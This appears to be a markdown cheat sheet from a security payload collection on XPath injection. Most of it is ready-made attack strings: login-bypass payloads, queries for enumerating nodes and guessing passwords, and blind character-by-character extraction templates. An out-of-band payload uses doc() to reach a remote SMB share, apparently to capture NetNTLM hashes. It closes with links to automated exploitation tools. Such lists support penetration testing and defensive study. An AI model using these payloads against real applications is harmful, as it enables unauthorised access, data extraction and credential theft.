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65 lines
2 KiB
Markdown
65 lines
2 KiB
Markdown
# XPATH injection
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> XPath Injection is an attack technique used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query or navigate XML documents.
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## Summary
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* [Exploitation](#exploitation)
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* [Blind exploitation](#blind-exploitation)
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* [Out Of Band Exploitation](#out-of-band-exploitation)
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* [Tools](#tools)
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* [References](#references)
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## Exploitation
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Similar to SQL : `"string(//user[name/text()='" +vuln_var1+ "' and password/text()=’" +vuln_var1+ "']/account/text())"`
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```sql
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' or '1'='1
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' or ''='
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x' or 1=1 or 'x'='y
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/
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//
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//*
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*/*
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@*
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count(/child::node())
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x' or name()='username' or 'x'='y
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' and count(/*)=1 and '1'='1
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' and count(/@*)=1 and '1'='1
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' and count(/comment())=1 and '1'='1
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search=')] | //user/*[contains(*,'
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search=Har') and contains(../password,'c
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search=Har') and starts-with(../password,'c
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```
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## Blind Exploitation
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1. Size of a string
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```sql
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and string-length(account)=SIZE_INT
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```
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2. Extract a character
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```sql
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substring(//user[userid=5]/username,2,1)=CHAR_HERE
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substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
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```
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## Out Of Band Exploitation
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```powershell
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http://example.com/?title=Foundation&type=*&rent_days=* and doc('//10.10.10.10/SHARE')
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```
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## Tools
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- [xcat](https://github.com/orf/xcat) - Automate XPath injection attacks to retrieve documents
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- [xxxpwn](https://github.com/feakk/xxxpwn) - Advanced XPath Injection Tool
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- [xxxpwn_smart](https://github.com/aayla-secura/xxxpwn_smart) - A fork of xxxpwn using predictive text
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- [xpath-blind-explorer](https://github.com/micsoftvn/xpath-blind-explorer)
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- [XmlChor](https://github.com/Harshal35/XMLCHOR) - Xpath injection exploitation tool
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## References
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* [OWASP XPATH Injection](https://www.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010))
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* [Places of Interest in Stealing NetNTLM Hashes - Osanda Malith Jayathissa - March 24, 2017](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/)
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